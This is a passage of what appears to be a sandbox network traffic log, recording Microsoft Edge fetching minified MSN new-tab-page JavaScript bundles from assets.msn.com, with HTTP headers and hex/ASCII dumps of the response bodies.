2024-04-23 21:02:18 UTC	629	OUT	GET /bundles/v1/edgeChromium/latest/microsoft.119ca1abd9fdaf26e071.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:18 UTC	1191	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: ngn/YRm1Oc68F6TKcvI0OA== Last-Modified: Tue, 23 Apr 2024 19:32:46 GMT ETag: 0x8DC63CC2720C24C Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: b91dfb8b-001e-00a7-16b5-957dd6000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:18 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Akamai-Request-BC: [a=23.11.231.159,b=402743936,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=105, clienttt; dur=1, origin; dur=0 , cdntime; dur=1 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18016280 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906138.18016280 Vary: Origin
2024-04-23 21:02:18 UTC	15193	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 6d 69 63 72 6f 73 6f 66 74 2e 31 31 39 63 61 31 61 62 64 39 66 64 61 66 32 36 65 30 37 31 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 6d 69 63 72 6f 73 6f 66 74 22 5d 2c 7b 36 33 31 36 35 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 64 28 65 2c 7b Data Ascii: 00006000/! For license information please see microsoft.119ca1abd9fdaf26e071.js.LICENSE.txt /(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["microsoft"],{63165:function(t,e,n){"use strict";n.d(e,{
2024-04-23 21:02:18 UTC	9395	IN	Data Raw: 6f 2e 6d 66 2c 6f 2e 6b 4a 2c 6f 2e 4b 6e 2c 6f 2e 6e 64 2c 72 2e 4d 46 2c 6f 2e 59 36 2c 72 2e 63 70 2c 73 2e 70 37 2c 73 2e 55 59 2c 6f 2e 6c 5f 2c 6c 2e 63 39 2c 6c 2e 49 62 2c 6f 2e 49 64 2c 6f 2e 72 57 2c 6f 2e 59 6d 2c 6f 2e 6f 38 2c 6f 2e 6c 65 2c 6f 2e 6e 72 2c 6f 2e 6d 66 2c 6f 2e 4b 6e 2c 6f 2e 4a 5f 2c 6f 2e 6b 4a 2c 6f 2e 56 5a 2c 6f 2e 48 44 2c 6f 2e 68 6a 2c 6f 2e 6a 6e 2c 6f 2e 59 36 2c 6f 2e 74 4f 2c 6f 2e 55 41 2c 6f 2e 4d 72 2c 6f 2e 58 7a 2c 6f 2e 6e 64 2c 64 2e 70 75 2c 6f 2e 46 59 2c 6f 2e 6c 5f 2c 6c 2e 49 62 2c 6f 2e 6d 36 2c 72 2e 77 31 2c 61 2e 47 57 2c 61 2e 4a 6a 2c 75 2e 70 5a 2c 75 2e 61 7a 2c 75 2e 5f 6c 2c 75 2e 43 4e 2c 75 2e 46 36 2c 61 2e 44 4f 3b 66 75 6e 63 74 69 6f 6e 20 41 28 29 7b 72 65 74 75 72 6e 21 21 28 30 2c 72 Data Ascii: o.mf,o.kJ,o.Kn,o.nd,r.MF,o.Y6,r.cp,s.p7,s.UY,o.l_,l.c9,l.Ib,o.Id,o.rW,o.Ym,o.o8,o.le,o.nr,o.mf,o.Kn,o.J_,o.kJ,o.VZ,o.HD,o.hj,o.jn,o.Y6,o.tO,o.UA,o.Mr,o.Xz,o.nd,d.pu,o.FY,o.l_,l.Ib,o.m6,r.w1,a.GW,a.Jj,u.pZ,u.az,u._l,u.CN,u.F6,a.DO;function A(){return!!(0,r
2024-04-23 21:02:18 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 2e 22 2c 61 3d 6e 65 77 20 64 28 32 33 2c 73 2c 21 31 29 3b 74 2e 71 75 65 75 65 5b 72 2e 4d 57 5d 28 61 29 2c 31 3d 3d 3d 65 3f 74 5b 63 2e 79 73 5d 28 73 29 3a 74 5b 63 2e 63 4c 5d 28 73 29 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 76 28 74 2c 6e 29 7b 76 61 72 20 69 3d 28 30 2c 6f 2e 6a 29 28 65 7c 7c 7b 7d 29 3b 69 26 26 69 5b 72 2e 6d 63 5d 26 26 69 5b 72 2e 6d 63 5d 28 74 2c 6e 29 7d 21 66 75 6e 63 74 69 6f 6e 28 74 29 7b 6e 3d 28 30 2c 61 2e 76 34 29 28 74 2e 6c 6f 67 67 69 6e 67 4c 65 76 65 6c 43 6f 6e 73 6f 6c 65 2c 30 29 2c 6c 3d 28 30 2c 61 2e 76 34 29 28 74 2e 6c 6f 67 67 69 6e 67 4c 65 76 65 6c 54 65 6c 65 6d 65 74 72 79 2c 31 29 2c 68 3d 28 30 2c 61 2e 76 34 29 28 74 2e 6d 61 78 4d 65 73 73 61 67 65 4c 69 6d 69 74 2c Data Ascii: 00006000.",a=new d(23,s,!1);t.queue[r.MW](a),1===e?t[c.ys](s):t[c.cL](s)}}}function v(t,n){var i=(0,o.j)(e\|\|{});i&&i[r.mc]&&i[r.mc](t,n)}!function(t){n=(0,a.v4)(t.loggingLevelConsole,0),l=(0,a.v4)(t.loggingLevelTelemetry,1),h=(0,a.v4)(t.maxMessageLimit,
2024-04-23 21:02:18 UTC	8204	IN	Data Raw: 29 2c 61 3d 6f 2e 63 74 78 3b 72 65 74 75 72 6e 20 61 5b 69 2e 75 4c 5d 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 6f 2e 5f 6e 65 78 74 28 29 3b 72 65 74 75 72 6e 20 65 26 26 65 2e 75 6e 6c 6f 61 64 28 61 2c 74 29 2c 21 65 7d 2c 61 5b 69 2e 7a 56 5d 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 29 7b 72 65 74 75 72 6e 20 76 6f 69 64 20 30 3d 3d 3d 74 26 26 28 74 3d 6e 75 6c 6c 29 2c 28 30 2c 73 2e 6b 4a 29 28 74 29 26 26 28 74 3d 62 28 74 2c 72 2c 65 2c 6e 29 29 2c 76 28 74 7c 7c 61 5b 69 2e 57 32 5d 28 29 2c 65 2c 6e 29 7d 2c 61 7d 66 75 6e 63 74 69 6f 6e 20 6d 28 74 2c 65 2c 6e 29 7b 76 61 72 20 72 3d 65 5b 69 2e 54 43 5d 7c 7c 7b 7d 2c 6f 3d 70 28 74 2c 72 2c 65 2c 6e 29 2e 63 74 78 3b 72 65 74 75 72 6e 20 6f 5b 69 2e 75 4c 5d 3d 66 75 6e 63 74 Data Ascii: ),a=o.ctx;return a[i.uL]=function(t){var e=o._next();return e&&e.unload(a,t),!e},a[i.zV]=function(t,n){return void 0===t&&(t=null),(0,s.kJ)(t)&&(t=b(t,r,e,n)),v(t\|\|a[i.W2](),e,n)},a}function m(t,e,n){var r=e[i.TC]\|\|{},o=p(t,r,e,n).ctx;return o[i.uL]=funct
2024-04-23 21:02:18 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 7b 72 65 74 75 72 6e 20 6e 65 77 20 74 28 65 2c 6e 29 7d 2c 74 7d 28 29 2c 6a 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 29 7b 76 61 72 20 65 3d 21 30 2c 6e 3d 21 30 2c 69 3d 21 30 2c 6f 3d 22 75 73 65 2d 63 6f 6c 6c 65 63 74 6f 72 2d 64 65 6c 74 61 22 2c 73 3d 21 31 3b 28 30 2c 72 2e 5a 29 28 74 2c 74 68 69 73 2c 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 2e 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 7d 2c 74 2e 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 26 26 28 69 3d 21 31 2c 73 7c 7c 28 65 3d 21 31 29 29 7d 2c 74 2e 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 Data Ascii: 00004000{return new t(e,n)},t}(),j=function(){function t(){var e=!0,n=!0,i=!0,o="use-collector-delta",s=!1;(0,r.Z)(t,this,(function(t){t.allowRequestSending=function(){return e},t.firstRequestSent=function(){i&&(i=!1,s\|\|(e=!1))},t.shouldAddClockSkewHead
2024-04-23 21:02:18 UTC	12	IN	Data Raw: 26 65 3e 3d 30 26 26 21 53 26 0d 0a Data Ascii: &e>=0&&!S&
2024-04-23 21:02:18 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 26 28 5a 28 29 3f 44 3d 4a 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 44 3d 6e 75 6c 6c 2c 4b 28 30 3d 3d 3d 4d 3f 33 3a 31 2c 30 2c 31 29 2c 4d 2b 2b 2c 4d 25 3d 32 2c 47 28 29 7d 29 2c 65 29 3a 4d 3d 30 29 7d 66 75 6e 63 74 69 6f 6e 20 58 28 29 7b 6e 3d 6e 75 6c 6c 2c 78 3d 21 31 2c 6b 3d 5b 5d 2c 43 3d 6e 75 6c 6c 2c 53 3d 21 31 2c 24 3d 30 2c 54 3d 35 30 30 2c 4c 3d 30 2c 4f 3d 31 65 34 2c 49 3d 7b 7d 2c 45 3d 70 2c 44 3d 6e 75 6c 6c 2c 52 3d 6e 75 6c 6c 2c 46 3d 30 2c 4d 3d 30 2c 66 3d 6e 75 6c 6c 2c 4e 3d 7b 7d 2c 76 3d 76 6f 69 64 20 30 2c 6d 3d 30 2c 6a 3d 2d 31 2c 62 3d 6e 75 6c 6c 2c 5f 3d 21 30 2c 56 3d 21 31 2c 71 3d 36 2c 55 3d 32 2c 79 3d 6e 75 6c 6c 2c 77 3d 64 74 28 29 2c 67 3d 6e 65 77 20 63 74 28 35 30 30 2c 32 Data Ascii: 00004000&(Z()?D=J((function(){D=null,K(0===M?3:1,0,1),M++,M%=2,G()}),e):M=0)}function X(){n=null,x=!1,k=[],C=null,S=!1,$=0,T=500,L=0,O=1e4,I={},E=p,D=null,R=null,F=0,M=0,f=null,N={},v=void 0,m=0,j=-1,b=null,_=!0,V=!1,q=6,U=2,y=null,w=dt(),g=new ct(500,2
2024-04-23 21:02:18 UTC	12	IN	Data Raw: 20 61 7c 7c 70 28 29 7d 2c 6e 0d 0a Data Ascii: a\|\|p()},n
2024-04-23 21:02:18 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 5b 49 74 5d 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 61 3d 74 7d 7d 29 29 7d 72 65 74 75 72 6e 20 74 2e 63 6f 6f 6b 69 65 53 65 70 61 72 61 74 6f 72 3d 22 7c 22 2c 74 2e 75 73 65 72 43 6f 6f 6b 69 65 4e 61 6d 65 3d 22 61 69 5f 75 73 65 72 22 2c 74 2e 5f 73 74 61 74 69 63 49 6e 69 74 3d 76 6f 69 64 28 30 2c 73 2e 6c 5f 29 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 22 6c 6f 63 61 6c 49 64 22 2c 45 74 2c 44 74 29 2c 74 7d 28 29 2c 52 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 65 2e 70 6f 70 53 61 6d 70 6c 65 3d 31 30 30 2c 65 2e 65 76 65 6e 74 46 6c 61 67 73 3d 30 2c 74 2e 68 61 73 68 49 64 65 6e 74 69 66 69 65 72 73 26 26 28 65 2e 65 76 65 6e 74 46 6c 61 67 73 3d 31 30 34 38 35 37 36 7c 65 2e 65 76 65 Data Ascii: 00006000[It]=function(t){a=t}}))}return t.cookieSeparator="\|",t.userCookieName="ai_user",t._staticInit=void(0,s.l_)(t.prototype,"localId",Et,Dt),t}(),Rt=function(t){var e=this;e.popSample=100,e.eventFlags=0,t.hashIdentifiers&&(e.eventFlags=1048576\|e.eve
2024-04-23 21:02:18 UTC	8204	IN	Data Raw: 2c 41 34 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 79 7d 2c 6c 24 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 78 7d 2c 73 35 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 62 7d 7d 29 3b 76 61 72 20 69 2c 72 2c 6f 2c 73 3d 6e 28 37 34 36 32 36 29 2c 61 3d 6e 28 32 36 39 36 29 2c 63 3d 6e 28 38 32 39 31 37 29 2c 6c 3d 6e 28 33 33 33 39 30 29 2c 75 3d 6e 28 39 37 33 39 29 2c 64 3d 6e 28 38 33 34 30 29 3b 66 75 6e 63 74 69 6f 6e 20 68 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 6e 3d 3e 2d 31 3d 3d 3d 28 30 2c 6c 2e 71 32 29 28 6e 29 3f 65 28 6e 29 3a 74 28 6e 29 7d 21 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 5b 74 2e 4c 31 3d 30 5d 3d 22 4c 31 22 2c 74 5b 74 2e 4c 31 41 6c 74 3d 33 5d 3d 22 4c 31 41 6c 74 22 2c 74 5b 74 2e 4c Data Ascii: ,A4:function(){return y},l$:function(){return x},s5:function(){return b}});var i,r,o,s=n(74626),a=n(2696),c=n(82917),l=n(33390),u=n(9739),d=n(8340);function h(t,e){return n=>-1===(0,l.q2)(n)?e(n):t(n)}!function(t){t[t.L1=0]="L1",t[t.L1Alt=3]="L1Alt",t[t.L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49774	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:18 UTC	626	OUT	GET /bundles/v1/edgeChromium/latest/common.7f8ced0e5ba45618e733.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:18 UTC	1191	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: HWbqTygyZJMLwpILDWC/aQ== Last-Modified: Tue, 23 Apr 2024 19:32:47 GMT ETag: 0x8DC63CC2835678F Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: e05b146a-b01e-0088-69b5-9565fa000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:18 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Akamai-Request-BC: [a=23.11.231.159,b=402743937,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=105, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18016281 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906138.18016281 Vary: Origin
2024-04-23 21:02:18 UTC	15193	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 63 6f 6d 6d 6f 6e 22 5d 2c 7b 33 36 37 37 37 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 64 28 74 2c 7b 46 76 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 2c 5f 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 7d 2c 67 51 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 69 7d 7d 29 3b 63 6f 6e 73 74 20 69 3d 22 73 65 6c 65 63 74 65 64 Data Ascii: 00006000(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["common"],{36777:function(e,t,n){"use strict";n.d(t,{Fv:function(){return o},_t:function(){return r},gQ:function(){return i}});const i="selected
2024-04-23 21:02:18 UTC	9395	IN	Data Raw: 34 34 43 31 35 2e 30 31 30 34 20 38 2e 36 37 39 36 39 20 31 34 2e 37 32 31 34 20 39 2e 30 35 32 30 38 20 31 34 2e 33 38 32 38 20 39 2e 33 39 30 36 32 43 31 34 2e 30 34 39 35 20 39 2e 37 32 33 39 36 20 31 33 2e 36 37 39 37 20 31 30 2e 30 31 30 34 20 31 33 2e 32 37 33 34 20 31 30 2e 32 35 43 31 32 2e 38 36 37 32 20 31 30 2e 34 38 39 36 20 31 32 2e 34 32 39 37 20 31 30 2e 36 37 34 35 20 31 31 2e 39 36 30 39 20 31 30 2e 38 30 34 37 43 31 31 2e 34 39 32 32 20 31 30 2e 39 33 34 39 20 31 31 2e 30 30 35 32 20 31 31 20 31 30 2e 35 20 31 31 43 39 2e 38 34 38 39 36 20 31 31 20 39 2e 32 32 33 39 36 20 31 30 2e 38 39 30 36 20 38 2e 36 32 35 20 31 30 2e 36 37 31 39 43 38 2e 30 33 31 32 35 20 31 30 2e 34 35 33 31 20 37 2e 34 38 34 33 38 20 31 30 2e 31 33 38 20 36 2e 39 Data Ascii: 44C15.0104 8.67969 14.7214 9.05208 14.3828 9.39062C14.0495 9.72396 13.6797 10.0104 13.2734 10.25C12.8672 10.4896 12.4297 10.6745 11.9609 10.8047C11.4922 10.9349 11.0052 11 10.5 11C9.84896 11 9.22396 10.8906 8.625 10.6719C8.03125 10.4531 7.48438 10.138 6.9
2024-04-23 21:02:18 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 61 5b 6e 5d 2e 72 65 6d 6f 76 65 43 6f 6e 74 65 6e 74 29 64 6f 7b 6e 3d 3d 3d 74 68 69 73 2e 63 6f 6e 66 69 67 2e 64 61 74 61 2e 6c 65 6e 67 74 68 2d 31 3f 6e 3d 30 3a 6e 2b 2b 7d 77 68 69 6c 65 28 65 5b 6e 5d 7c 7c 21 74 68 69 73 2e 63 6f 6e 66 69 67 2e 64 61 74 61 5b 6e 5d 7c 7c 74 68 69 73 2e 63 6f 6e 66 69 67 2e 64 61 74 61 5b 6e 5d 2e 73 6b 69 70 52 6f 74 61 74 69 6f 6e 7c 7c 74 68 69 73 2e 63 6f 6e 66 69 67 2e 64 61 74 61 5b 6e 5d 2e 72 65 6d 6f 76 65 43 6f 6e 74 65 6e 74 29 3b 74 68 69 73 2e 73 63 68 65 64 75 6c 65 5b 74 5d 3d 6e 2c 65 5b 6e 5d 3d 21 30 7d 28 30 2c 64 65 2e 5a 29 28 74 68 69 73 2e 73 63 68 65 64 75 6c 65 29 2c 74 68 69 73 2e 73 63 68 65 64 75 6c 65 46 69 78 65 64 3d 74 68 69 73 2e 73 63 68 65 64 75 6c Data Ascii: 00006000a[n].removeContent)do{n===this.config.data.length-1?n=0:n++}while(e[n]\|\|!this.config.data[n]\|\|this.config.data[n].skipRotation\|\|this.config.data[n].removeContent);this.schedule[t]=n,e[n]=!0}(0,de.Z)(this.schedule),this.scheduleFixed=this.schedul
2024-04-23 21:02:18 UTC	8204	IN	Data Raw: 26 28 30 2c 54 65 2e 49 39 29 28 29 29 7b 74 68 69 73 2e 63 75 72 72 65 6e 74 50 72 6f 76 69 64 65 72 3d 22 4e 6f 42 61 63 6b 67 72 6f 75 6e 64 22 2c 52 2e 4d 30 2e 61 64 64 4f 72 55 70 64 61 74 65 54 6d 70 6c 50 72 6f 70 65 72 74 79 28 22 4c 6f 77 45 6e 64 44 65 76 69 63 65 42 6b 67 64 4f 66 66 22 2c 22 31 22 29 2c 77 69 6e 64 6f 77 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 6e 65 77 20 43 75 73 74 6f 6d 45 76 65 6e 74 28 22 4c 6f 77 45 6e 64 44 65 76 69 63 65 42 6b 67 64 22 2c 7b 64 65 74 61 69 6c 3a 7b 69 73 4c 6f 77 45 6e 64 44 65 76 69 63 65 3a 21 30 7d 7d 29 29 3b 62 72 65 61 6b 7d 69 66 28 77 69 6e 64 6f 77 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 6e 65 77 20 43 75 73 74 6f 6d 45 76 65 6e 74 28 22 4c 6f 77 45 6e 64 44 65 76 69 63 65 42 6b 67 Data Ascii: &(0,Te.I9)()){this.currentProvider="NoBackground",R.M0.addOrUpdateTmplProperty("LowEndDeviceBkgdOff","1"),window.dispatchEvent(new CustomEvent("LowEndDeviceBkgd",{detail:{isLowEndDevice:!0}}));break}if(window.dispatchEvent(new CustomEvent("LowEndDeviceBkg
2024-04-23 21:02:18 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 3d 22 22 7d 2c 74 68 69 73 2e 75 70 64 61 74 65 50 72 6f 70 65 72 74 69 65 73 5f 65 76 65 6e 74 3d 61 73 79 6e 63 28 29 3d 3e 7b 76 61 72 20 65 2c 74 3b 63 6f 6e 73 74 20 6e 3d 74 68 69 73 2e 63 6f 6e 66 69 67 2e 65 76 65 6e 74 2e 65 76 65 6e 74 49 64 2c 69 3d 74 68 69 73 2e 63 6f 6e 66 69 67 2e 65 76 65 6e 74 2e 73 68 6f 77 49 6d 61 67 65 49 6e 64 65 66 69 6e 69 74 65 6c 79 3f 43 2e 76 43 3a 76 6f 69 64 20 30 3b 6c 65 74 20 6f 2c 61 3b 69 66 28 74 68 69 73 2e 63 75 72 72 65 6e 74 45 76 65 6e 74 43 72 65 61 74 69 76 65 3d 61 77 61 69 74 20 74 68 69 73 2e 65 76 65 6e 74 4c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 67 65 74 43 75 72 72 65 6e 74 43 72 65 61 74 69 76 65 49 64 28 6e 2c 75 2e 78 2e 62 61 63 6b 67 72 6f 75 6e 64 49 6d 61 Data Ascii: 00004000=""},this.updateProperties_event=async()=>{var e,t;const n=this.config.event.eventId,i=this.config.event.showImageIndefinitely?C.vC:void 0;let o,a;if(this.currentEventCreative=await this.eventLocalStorage.getCurrentCreativeId(n,u.x.backgroundIma
2024-04-23 21:02:18 UTC	12	IN	Data Raw: 2e 43 6c 6f 73 65 29 2c 74 68 0d 0a Data Ascii: .Close),th
2024-04-23 21:02:18 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 69 73 2e 74 6f 67 67 6c 65 4d 75 73 65 75 6d 43 61 72 64 4f 70 65 6e 28 29 29 7d 2c 74 68 69 73 2e 6f 6e 46 6f 63 75 73 4c 65 61 76 65 5f 6d 75 73 65 75 6d 43 61 72 64 42 75 74 74 6f 6e 3d 28 29 3d 3e 7b 74 68 69 73 2e 6d 75 73 65 75 6d 43 72 65 64 69 74 73 43 61 72 64 49 73 53 68 6f 77 6e 26 26 74 68 69 73 2e 72 65 66 5f 62 61 63 6b 67 72 6f 75 6e 64 47 61 6c 6c 65 72 79 42 75 74 74 6f 6e 26 26 74 68 69 73 2e 72 65 66 5f 62 61 63 6b 67 72 6f 75 6e 64 47 61 6c 6c 65 72 79 42 75 74 74 6f 6e 2e 66 6f 63 75 73 28 29 7d 2c 74 68 69 73 2e 6f 6e 46 6f 63 75 73 4c 65 61 76 65 5f 62 61 63 6b 67 72 6f 75 6e 64 47 61 6c 6c 65 72 79 42 75 74 74 6f 6e 3d 28 29 3d 3e 7b 74 68 69 73 2e 6d 75 73 65 75 6d 43 72 65 64 69 74 73 43 61 72 64 49 Data Ascii: 00004000is.toggleMuseumCardOpen())},this.onFocusLeave_museumCardButton=()=>{this.museumCreditsCardIsShown&&this.ref_backgroundGalleryButton&&this.ref_backgroundGalleryButton.focus()},this.onFocusLeave_backgroundGalleryButton=()=>{this.museumCreditsCardI
2024-04-23 21:02:18 UTC	12	IN	Data Raw: 3b 72 65 74 75 72 6e 20 65 3f 0d 0a Data Ascii: ;return e?
2024-04-23 21:02:18 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 65 2e 6f 66 66 73 65 74 48 65 69 67 68 74 3a 74 68 69 73 2e 73 70 61 63 65 48 6f 6c 64 65 72 48 65 69 67 68 74 7d 63 68 65 63 6b 4d 69 6e 69 6d 75 6d 57 69 64 74 68 46 6f 72 47 61 6c 6c 65 72 79 28 29 7b 74 68 69 73 2e 62 61 63 6b 67 72 6f 75 6e 64 47 61 6c 6c 65 72 79 42 75 74 74 6f 6e 45 6e 61 62 6c 65 64 3d 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 57 69 64 74 68 3e 72 65 2e 47 62 2c 74 68 69 73 2e 62 61 63 6b 67 72 6f 75 6e 64 49 6d 61 67 65 46 69 78 65 64 57 43 53 74 61 74 65 53 79 6e 63 45 76 65 6e 74 45 6d 69 74 28 5b 7b 6b 65 79 3a 22 62 61 63 6b 67 72 6f 75 6e 64 47 61 6c 6c 65 72 79 42 75 74 74 6f 6e 45 6e 61 62 6c 65 64 22 2c 76 61 6c 75 65 3a 74 68 69 73 2e 62 61 63 6b 67 72 6f 75 6e 64 47 61 6c 6c 65 72 79 42 75 74 74 Data Ascii: 00006000e.offsetHeight:this.spaceHolderHeight}checkMinimumWidthForGallery(){this.backgroundGalleryButtonEnabled=window.innerWidth>re.Gb,this.backgroundImageFixedWCStateSyncEventEmit([{key:"backgroundGalleryButtonEnabled",value:this.backgroundGalleryButt
2024-04-23 21:02:18 UTC	8204	IN	Data Raw: 6c 61 73 73 3d 22 6d 75 73 65 75 6d 43 61 72 64 43 72 65 64 69 74 73 20 24 7b 65 3d 3e 65 2e 62 61 63 6b 67 72 6f 75 6e 64 47 61 6c 6c 65 72 79 45 6c 69 67 69 62 69 6c 69 74 79 26 26 22 45 76 65 6e 74 22 21 3d 3d 65 2e 63 75 72 72 65 6e 74 50 72 6f 76 69 64 65 72 3f 22 62 61 63 6b 67 72 6f 75 6e 64 47 61 6c 6c 65 72 79 22 3a 22 22 7d 22 3e 24 7b 65 3d 3e 65 2e 6d 75 73 65 75 6d 43 61 72 64 2e 63 72 65 64 69 74 73 7d 3c 2f 70 3e 3c 2f 64 69 76 3e 24 7b 28 30 2c 46 65 2e 67 29 28 28 65 3d 3e 21 65 2e 62 61 63 6b 67 72 6f 75 6e 64 47 61 6c 6c 65 72 79 45 6c 69 67 69 62 69 6c 69 74 79 7c 7c 22 45 76 65 6e 74 22 3d 3d 3d 65 2e 63 75 72 72 65 6e 74 50 72 6f 76 69 64 65 72 29 2c 44 65 2e 64 79 60 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 75 73 65 75 6d 43 61 72 64 Data Ascii: lass="museumCardCredits 